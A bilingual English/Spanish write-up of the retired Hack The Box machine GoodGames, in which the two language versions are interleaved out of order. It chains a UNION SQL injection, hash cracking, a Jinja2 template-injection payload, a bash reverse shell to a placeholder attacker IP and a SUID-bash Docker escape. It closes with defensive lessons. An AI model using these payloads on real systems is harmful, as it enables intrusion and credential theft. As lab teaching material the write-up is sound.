GoodGames
Executive summary — GoodGames is a very instructive Easy Linux box chaining SQLi → SSTI → RCE → Docker escape → SUID → root. A classic SQL injection on the login form leaks the administrator's hash; inside the internal admin panel, a Server-Side Template Injection in Flask/Jinja2 gives command execution —but inside a Docker container, not on the host—; and an unrestricted host-mounted volume lets us plant a SUID
bashand jump to the real system as root. A great box for understanding why «root in a container» isn't the same as «root on the box».
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.X.X |
Attack map
[80] goodgames.htb → login
│ SQLi (UNION) → admin hash → crack → "superadministrator"
▼
[internal-administration.goodgames.htb] admin panel
│ SSTI (Flask/Jinja2) {{7*7}}→49 → RCE
▼
[DOCKER] root@container (172.19.0.2)
│ /home/augustus mounted from host + SUID bash
▼
[SSH] augustus@host → ./bash -p
▼
[ROOT]
1. Reconnaissance
As always, we start with a sweep of every TCP port, then a detailed scan of just the ones that are open:
nmap -p- -sS --min-rate 5000 10.129.X.X -oN all_ports.txt
nmap -p 22,80 -sC -sV 10.129.X.X -oN service_scan.txt
Why two passes:
-p-covers all 65535 ports so we don't miss a service on a non-standard port;--min-rate 5000forces a high packet rate to keep the scan fast.- Once we know which ports are open, the second scan (
-sC -sV) is slower but far more informative: it runs the default NSE scripts and fingerprints each service's version, which isn't worth doing against all 65535 ports.
22/tcp open ssh
80/tcp open http
Analysis: minimal surface —SSH plus a single web service—. With only one web port exposed, the entry point is almost certainly there.
Resumen ejecutivo — GoodGames es una máquina Linux Easy muy didáctica que encadena SQLi → SSTI → RCE → escape de Docker → SUID → root. Una inyección SQL clásica en el formulario de login filtra el hash del administrador; ya dentro del panel interno, un Server-Side Template Injection en Flask/Jinja2 da ejecución de comandos —pero dentro de un contenedor Docker, no en el host—; y un volumen del host montado sin restricciones permite plantar un
bashcon bit SUID y saltar al sistema real como root. Un recorrido perfecto para entender por qué «root en un contenedor» no es lo mismo que «root en la máquina».
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.X.X |
Mapa del ataque
[80] goodgames.htb → login
│ SQLi (UNION) → hash de admin → crackeo → "superadministrator"
▼
[internal-administration.goodgames.htb] panel admin
│ SSTI (Flask/Jinja2) {{7*7}}→49 → RCE
▼
[DOCKER] root@contenedor (172.19.0.2)
│ /home/augustus montado desde el host + bash SUID
▼
[SSH] augustus@host → ./bash -p
▼
[ROOT]
1. Reconocimiento
Como siempre, empezamos con un barrido de todos los puertos TCP y, después, un escaneo detallado solo de los que están abiertos:
nmap -p- -sS --min-rate 5000 10.129.X.X -oN all_ports.txt
nmap -p 22,80 -sC -sV 10.129.X.X -oN service_scan.txt
Por qué en dos pasos:
-p-recorre los 65535 puertos para no pasar por alto servicios en puertos no estándar; con--min-rate 5000forzamos un ritmo de envío alto y acortamos el escaneo.- Una vez sabemos qué puertos están abiertos, el segundo escaneo (
-sC -sV) es más lento pero mucho más informativo: lanza los scripts NSE por defecto y detecta versión de cada servicio, algo que no compensa hacer contra los 65535 puertos.
22/tcp open ssh
80/tcp open http
Análisis: superficie mínima —SSH y un único servicio web—. Con un solo puerto web expuesto, el vector de entrada va a estar ahí.
2. Virtual hosts
The site uses name-based routing (virtual hosting): the server decides which application to serve based on the request's Host: header, not the IP. Without the right hostname we'd only ever see the default public site. We add both domains —the public one and the internal panel— to /etc/hosts:
10.129.X.X goodgames.htb internal-administration.goodgames.htb
The second domain,
internal-administration.goodgames.htb, is the tell that there is a separate admin panel not meant to be reachable without knowing its exact name —security through obscurity, which here protects nothing—.
3. Web enumeration
http://goodgames.htb is a gaming forum portal whose only interactive surface, without valid credentials, is a login form. That's the mandatory starting point.
4. SQL Injection — credential exfiltration
The login's email field concatenates user input straight into the SQL query instead of using parameterised statements. That lets us close the original string and inject a UNION SELECT that appends rows from another table to the result.
Why it works: for a
UNION SELECTto be accepted, it must return the same number of columns as the original query (usually probed with' ORDER BY n-- -until it errors out, or withUNION SELECT NULL,NULL,...until the response stops erroring). In GoodGames the user table exposes four usable columns, so the final payload dumpsid,passwordandnameconcatenated into a single text field so they show up in the login response:
email=' UNION SELECT 1,2,3,concat(id,':',email,':',password,':',name) FROM user-- -
1:admin:<hash>:Administrator
The password field is a hash, not a plaintext password: it needs cracking.
5. Cracking the hash
The hash's shape matches unsalted MD5 (32 hex characters, no algorithm prefix) —the weakest hash type there is: without a salt, two identical passwords always produce the same hash, which makes it vulnerable to dictionary attacks and precomputed tables. We save it and attack it with Hashcat and rockyou.txt:
echo "<hash>" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
superadministrator
6. Internal panel
With admin / superadministrator we log into http://internal-administration.goodgames.htb, the panel we discovered back in step 2, landing on the admin dashboard.
7. SSTI detection
The dashboard lets us edit the profile name, a free-text field that's later rendered in the UI —a perfect candidate for testing whether the backend's templating engine renders user input instead of treating it as plain text—. We try the classic math expression used to detect SSTI:
{{ 7*7 }}
The panel shows 49 instead of the literal {{ 7*7 }} → the template is being evaluated server-side. Confirmed Server-Side Template Injection on Flask/Jinja2 (Werkzeug).
8. Command execution (RCE)
A {{ 7*7 }} confirms the injection, but to run system commands we need to break out of the Jinja2 sandbox and reach a Python object that exposes the os module.
Why this particular gadget:
namespaceis a Jinja2-native object (meant for holding state variables inside{% for %}loops). Its__init__method has a__globals__attribute exposing the global Python namespace of the module it was defined in —and that module already hasosimported—. It's a much shorter shortcut to command execution than the classic''.__class__.__mro__[1].__subclasses__()chain.
{{ namespace.__init__.__globals__.os.popen('id').read() }}
uid=0(root) ...
Note: it's root, but —we'll confirm shortly— inside a container. The Flask app runs as root in there, common in poorly built Docker images, but that's not the same as root on the host.
9. Reverse shell
Running commands one at a time through SSTI is slow and awkward for further enumeration; we open a listener and fire an interactive reverse shell from the same gadget:
nc -lvnp 4444
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"').read() }}
The IP in the payload is our
tun0interface (HTB VPN) —swap it for your own—.
root@3a453ab39d3d:/backend#
The prompt itself (3a453ab39d3d, a typical container-ID hash) is already the first hint we're inside Docker.
10. Stabilise the shell
The shell nc gives us is a dumb shell: no job control, no tab completion, breaks on Ctrl+C. We upgrade it to a full TTY with the classic script + stty raw trick:
script /dev/null -c bash
Then, from our Kali terminal (backgrounding it, without closing the connection):
# Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm
stty rows 40 columns 150
That gives us a fully interactive shell, with history, working Ctrl+C, and the correct terminal size for the tools we're about to use.
11. Confirming Docker
Several signals, each sufficient on its own, confirm we're inside a container and not on the host:
ls -a / # .dockerenv is present
cat /proc/1/cgroup # /docker/... paths
ip a # 172.19.0.2
/.dockerenvis a file the Docker runtime always creates inside the containers it launches;/proc/1/cgroupshows PID 1 living in a cgroup with a/docker/<id>path instead of/; and the172.19.0.0/16range is the typical bridge network Docker creates for its containers.
12. Identifying the real host
We sweep the container's internal network looking for the gateway, which is usually the host running the Docker engine:
for i in {1..254}; do ping -c1 172.19.0.$i | grep "bytes from" & done
172.19.0.1
The container has neither nmap nor nc installed, so we check for open ports with Bash's /dev/tcp pseudo-device, which opens a TCP connection without any external tools:
for port in 22 80; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
The same ports 22 and 80 we saw open in the initial scan against 10.129.X.X: 172.19.0.1 is indeed the real host running the container.
13. Host-mounted volume
mount | grep augustus
/dev/sda1 on /home/augustus type ext4 ...
The key to the whole escape:
/home/augustusisn't an ephemeral container folder, it's a volume mounted straight from the host's real disk (/dev/sda1,ext4filesystem). Whatever we write there, as root inside the container, lands on the host owned byroot—because, by default, Docker doesn't isolate user IDs (user namespaces): UID 0 in the container is the same UID 0 on the host—.
14. Escalation — SUID bash
We use that shared volume to plant a SUID binary: copy bash, make it owned by root, and give it the SUID bit so that whoever runs it gets an effective UID of root:
cp /bin/bash /home/augustus/bash
chown root:root /home/augustus/bash
chmod 4777 /home/augustus/bash
-rwsrwxrwx 1 root root ... /home/augustus/bash
The leading
4in4777is the SUID bit; combined withrootownership, any host user who runs this binary does so with root privileges, even if their own account has none.
15. Host access
Back on our Kali box (outside the container), we SSH into the real host as augustus —the superadministrator password, the same one from the internal panel, is reused for this system account too—:
ssh augustus@10.129.X.X
# password: superadministrator
The SUID bash we planted from the container is already sitting in augustus's $HOME. We run it with -p so it preserves the effective UID (without -p, bash would drop it for safety on seeing real UID ≠ effective UID):
./bash -p
whoami
hostname
root
GoodGames
Confirmed: we're root on the real host (GoodGames), not the container.
16. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Web login | SQL Injection (UNION) → hash dump | Administrator credentials |
| RCE | Internal panel (Flask) | SSTI (Jinja2) → command execution | Root inside the container |
| Escape/Root | Docker | Unrestricted host-mounted volume + SUID bash | Root on the real host |
Lessons learned
- Classic SQLi still kills: always use parameterised queries, never concatenate user input into SQL.
- SSTI = RCE: never put user input into a server-side rendered template, not even in an apparently harmless field like a profile name.
- Root in a container isn't root on the host… unless you mount host volumes with loose permissions and no user namespaces, which is exactly what breaks isolation here.
- Host↔container mounts should be read-only or use remapped UIDs whenever the process inside the container can run as root.
- Credential reuse (admin panel → system SSH account) is what chains the Docker escape to the final access; a per-service password would have cut this chain.
2. Virtual hosts
El sitio usa enrutado por nombre de dominio (virtual hosting): el servidor decide qué aplicación servir según la cabecera Host: de la petición, no según la IP. Si no le damos el nombre correcto solo veremos la web pública por defecto. Añadimos ambos dominios —el público y el panel interno— a /etc/hosts:
10.129.X.X goodgames.htb internal-administration.goodgames.htb
El segundo dominio,
internal-administration.goodgames.htb, es la pista de que existe un panel de administración separado del sitio público, pensado para no ser accesible sin conocer su nombre exacto —seguridad por oscuridad, que aquí no protege nada—.
3. Enumeración web
En http://goodgames.htb encontramos un portal de un foro de videojuegos con un formulario de login como única superficie interactiva. Sin credenciales válidas, ese formulario es el punto de partida obligado.
4. SQL Injection — exfiltración de credenciales
El campo email del login concatena la entrada directamente en la consulta SQL en lugar de usar sentencias parametrizadas. Eso permite cerrar la cadena original e inyectar un UNION SELECT que añade filas de otra tabla al resultado.
Por qué funciona: para que un
UNION SELECTse acepte, tiene que devolver el mismo número de columnas que la consulta original (normalmente se tantea con' ORDER BY n-- -hasta que falla, o conUNION SELECT NULL,NULL,...hasta que la respuesta deja de dar error). En GoodGames la tabla de usuarios expone cuatro columnas útiles, así que el payload final vuelcaid,passwordynameconcatenados en un solo campo de texto para que se vean en la respuesta del login:
email=' UNION SELECT 1,2,3,concat(id,':',email,':',password,':',name) FROM user-- -
1:admin:<hash>:Administrator
El campo password es un hash, no la contraseña en claro: hay que crackearlo.
5. Crackeo del hash
El formato del hash corresponde a MD5 sin salt (32 caracteres hexadecimales, sin prefijo de algoritmo), el tipo de hash más débil que existe: sin sal, dos contraseñas iguales producen siempre el mismo hash, lo que lo hace vulnerable a diccionario y a tablas precomputadas. Lo guardamos y lo atacamos con Hashcat y rockyou.txt:
echo "<hash>" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
superadministrator
6. Panel interno
Con admin / superadministrator iniciamos sesión en http://internal-administration.goodgames.htb, el panel que habíamos descubierto en el paso 2, y llegamos al dashboard de administración.
7. Detección de SSTI
El dashboard permite editar el nombre de perfil. Es un campo de texto libre que después se muestra en la interfaz —candidato perfecto para probar si el motor de plantillas del backend renderiza la entrada del usuario en lugar de tratarla como texto plano—. Probamos la expresión matemática clásica para detectar SSTI:
{{ 7*7 }}
El panel muestra 49 en vez del literal {{ 7*7 }} → la plantilla se está evaluando en el servidor. Confirmado Server-Side Template Injection sobre Flask/Jinja2 (Werkzeug).
8. Ejecución de comandos (RCE)
Un {{ 7*7 }} confirma la inyección, pero para ejecutar comandos del sistema necesitamos salir del sandbox de Jinja2 y llegar hasta un objeto Python que dé acceso al módulo os.
Por qué este gadget concreto:
namespacees un objeto propio de Jinja2 (pensado para guardar variables de estado dentro de bucles{% for %}). Su método__init__tiene un atributo__globals__que expone el espacio de nombres global del módulo Python donde se definió —y ese módulo ya tiene importadoos—. Es un atajo mucho más corto que la cadena clásica de''.__class__.__mro__[1].__subclasses__()para llegar a ejecución de comandos.
{{ namespace.__init__.__globals__.os.popen('id').read() }}
uid=0(root) ...
Ojo: es root, pero —lo confirmaremos enseguida— dentro de un contenedor. La aplicación Flask corre como root ahí dentro, algo habitual en imágenes Docker mal configuradas, pero eso no equivale a root en el host.
9. Reverse shell
Ejecutar comandos uno a uno vía SSTI es lento e incómodo para seguir enumerando; abrimos un listener y lanzamos una reverse shell interactiva desde el mismo gadget:
nc -lvnp 4444
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"').read() }}
La IP del payload es la de nuestra interfaz
tun0(VPN de HTB) —sustitúyela por la tuya—.
root@3a453ab39d3d:/backend#
El propio prompt (3a453ab39d3d, un hash típico de container ID) ya es la primera pista de que estamos dentro de Docker.
10. Estabilizar la shell
La shell que da nc es una dumb shell: sin control de trabajos, sin autocompletado, se rompe con Ctrl+C. La convertimos en una TTY completa con el truco clásico de script + stty raw:
script /dev/null -c bash
Y desde nuestra terminal de Kali (fondo, sin cerrar la conexión):
# Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm
stty rows 40 columns 150
Con esto tenemos una shell interactiva completa, con historial, Ctrl+C funcional y el tamaño de terminal correcto para las herramientas siguientes.
11. Confirmar Docker
Varias señales, cada una suficiente por sí sola, confirman que estamos en un contenedor y no en el host:
ls -a / # aparece .dockerenv
cat /proc/1/cgroup # rutas /docker/...
ip a # 172.19.0.2
/.dockerenves un fichero que el runtime de Docker crea siempre dentro de los contenedores que lanza;/proc/1/cgroupmuestra que el PID 1 vive en un cgroup con ruta/docker/<id>en vez de/; y el rango172.19.0.0/16es la red bridge típica que Docker crea para sus contenedores.
12. Identificar el host real
Barremos la red interna del contenedor buscando el gateway, que normalmente es el host que aloja el motor de Docker:
for i in {1..254}; do ping -c1 172.19.0.$i | grep "bytes from" & done
172.19.0.1
El contenedor no tiene nmap ni nc instalados, así que comprobamos los puertos abiertos con el pseudo-dispositivo /dev/tcp de Bash, que permite abrir una conexión TCP sin herramientas externas:
for port in 22 80; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
Los mismos puertos 22 y 80 que vimos abiertos en el escaneo inicial contra 10.129.X.X: 172.19.0.1 es, en efecto, el host real que aloja el contenedor.
13. Volumen montado desde el host
mount | grep augustus
/dev/sda1 on /home/augustus type ext4 ...
La clave de todo el escape:
/home/augustusno es una carpeta efímera del contenedor, es un volumen montado desde el disco real del host (/dev/sda1, sistema de ficherosext4). Lo que escribamos ahí, siendo root dentro del contenedor, se queda escrito en el host con propietarioroot—porque, por defecto, Docker no aísla los IDs de usuario (user namespaces): el UID 0 del contenedor es el mismo UID 0 del host—.
14. Escalada — bash SUID
Aprovechamos ese volumen compartido para plantar un binario con bit SUID: copiamos bash, lo hacemos propiedad de root y le damos permiso SUID para que cualquiera que lo ejecute obtenga un effective UID de root:
cp /bin/bash /home/augustus/bash
chown root:root /home/augustus/bash
chmod 4777 /home/augustus/bash
-rwsrwxrwx 1 root root ... /home/augustus/bash
El
4inicial de4777es el bit SUID; combinado con el propietarioroot, cualquier usuario del host que ejecute este binario lo hará con los privilegios de root, aunque su propio usuario no tenga ninguno.
15. Acceso al host
Volvemos a nuestra Kali (fuera del contenedor) y entramos por SSH al host real como augustus —la contraseña superadministrator, la misma del panel interno, se reutiliza también para esta cuenta del sistema—:
ssh augustus@10.129.X.X
# contraseña: superadministrator
En el $HOME de augustus ya está el bash SUID que plantamos desde el contenedor. Lo ejecutamos con -p para que conserve el UID efectivo (sin -p, bash lo descartaría por seguridad al detectar que real UID ≠ effective UID):
./bash -p
whoami
hostname
root
GoodGames
Confirmado: somos root en el host real (GoodGames), no en el contenedor.
16. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Login web | SQL Injection (UNION) → volcado de hashes | Credenciales del administrador |
| RCE | Panel interno (Flask) | SSTI (Jinja2) → ejecución de comandos | Root dentro del contenedor |
| Escape/Root | Docker | Volumen del host montado sin restricciones + bash SUID | Root en el host real |
Lecciones aprendidas
- SQLi clásica sigue matando: consultas parametrizadas siempre, nunca concatenar entrada de usuario en SQL.
- SSTI = RCE: nunca metas input del usuario en una plantilla que se renderiza del lado del servidor, ni siquiera en un campo aparentemente inocuo como un nombre de perfil.
- Root en un contenedor no es root en el host… salvo que montes volúmenes del host con permisos amplios y sin user namespaces, que es exactamente lo que rompe el aislamiento aquí.
- Montajes host↔contenedor deben ser de solo lectura o con UID remapeado cuando el proceso dentro del contenedor puede correr como root.
- Reutilización de credenciales (panel de administración → cuenta SSH del sistema) es lo que encadena el escape de Docker con el acceso final; una contraseña por servicio habría cortado esta cadena.